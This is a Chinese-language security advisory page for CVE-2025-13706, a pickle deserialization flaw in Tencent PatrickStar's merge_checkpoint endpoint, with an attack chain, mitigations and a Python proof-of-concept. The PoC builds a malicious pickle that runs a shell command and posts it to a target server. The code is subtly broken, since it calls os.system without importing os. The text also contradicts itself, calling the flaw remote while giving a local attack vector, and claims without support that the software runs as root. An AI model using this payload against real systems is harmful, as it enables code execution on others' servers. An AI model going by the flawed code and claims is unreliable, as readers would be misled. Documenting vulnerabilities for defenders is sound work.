IPBUF安全漏洞报告
English
CVE-2025-13706 CVSS 7.8 高危

CVE-2025-13706: Tencent PatrickStar merge_checkpoint反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-13706
漏洞类型
反序列化漏洞 / 远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Tencent PatrickStar

相关标签

CVE-2025-13706反序列化漏洞远程代码执行Tencent PatrickStarZDI-CAN-27182merge_checkpointPickle反序列化高危漏洞本地攻击需要用户交互

漏洞概述

CVE-2025-13706是腾讯PatrickStar项目中的一个高危安全漏洞,位于merge_checkpoint端点。该漏洞允许远程攻击者通过构造恶意序列化数据,在目标系统上执行任意代码。漏洞的根本原因在于merge_checkpoint端点缺乏对用户输入数据的充分验证,导致不信任的数据被反序列化。攻击成功后可获得root权限,对系统机密性、完整性和可用性造成严重影响。由于该漏洞需要用户交互才能触发,攻击者通常会诱导用户访问恶意页面或打开包含恶意payload的文件来触发反序列化过程。此漏洞由ZDI(Zero Day Initiative)披露,编号为ZDI-CAN-27182。PatrickStar是腾讯开发的一个高性能分布式训练框架,主要用于大规模机器学习模型的并行训练任务。

技术细节

该漏洞发生在PatrickStar的merge_checkpoint端点处理检查点合并的过程中。merge_checkpoint功能原本用于将分布式训练环境中的多个检查点文件合并为一个统一的模型文件。在实现上,该端点直接接收用户提交的序列化数据并调用反序列化操作,而没有对数据的来源和内容进行严格验证。反序列化操作会重新构建对象并执行对象中的方法,攻击者可以通过构造包含恶意代码的序列化对象(如Python pickle格式),在反序列化时触发代码执行。由于PatrickStar通常以root权限运行,反序列化漏洞可直接导致以root权限执行任意系统命令。攻击者需要诱骗目标用户访问恶意页面或打开包含精心构造的序列化payload的文件来触发漏洞。修复方案需要在反序列化前增加输入验证和签名校验机制,确保数据来源可信。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者识别目标系统上运行的Tencent PatrickStar服务,发现merge_checkpoint端点的存在
STEP 2
步骤2:恶意payload构造
攻击者构造包含恶意代码的序列化对象(如Python pickle格式),payload在反序列化时执行任意系统命令
STEP 3
步骤3:诱导用户交互
攻击者通过社会工程学手段诱导目标用户访问恶意页面或打开包含序列化payload的恶意文件
STEP 4
步骤4:触发反序列化
用户访问恶意内容后,merge_checkpoint端点接收到攻击者构造的序列化数据并执行反序列化操作
STEP 5
步骤5:代码执行
反序列化过程中触发__reduce__方法,恶意代码以root权限在目标系统上执行,攻击者获得完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13706 PoC - Tencent PatrickStar merge_checkpoint Deserialization RCE # This PoC demonstrates the deserialization vulnerability in merge_checkpoint endpoint import pickle import requests import sys # Malicious pickle payload that executes arbitrary command during deserialization class MaliciousPayload: def __reduce__(self): # Replace 'id' with actual command to execute cmd = "id" return (os.system, (cmd,)) def generate_exploit_payload(): """Generate malicious serialized payload""" payload = pickle.dumps(MaliciousPayload()) return payload def exploit_merge_checkpoint(target_url, payload): """Send malicious payload to merge_checkpoint endpoint""" endpoint = f"{target_url}/merge_checkpoint" headers = { 'Content-Type': 'application/octet-stream', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://target:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Generating malicious payload for CVE-2025-13706...") payload = generate_exploit_payload() print(f"[*] Sending payload to {target}/merge_checkpoint...") response = exploit_merge_checkpoint(target, payload) if response: print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}")

影响范围

Tencent PatrickStar < 修复版本
Tencent PatrickStar 在 commit 2384535503ea98cfe35ad04e20c0cfc7bf58d5d7 之前的版本

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:1)限制merge_checkpoint端点的访问权限,仅允许受信任的IP地址访问;2)使用网络层访问控制列表(ACL)隔离PatrickStar服务;3)监控和审查所有对merge_checkpoint端点的请求;4)考虑暂时禁用merge_checkpoint功能;5)加强对用户的安全意识培训,警惕来自不可信来源的链接和文件。由于该漏洞需要用户交互触发,还需提醒用户不要随意点击可疑链接或打开来源不明的文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表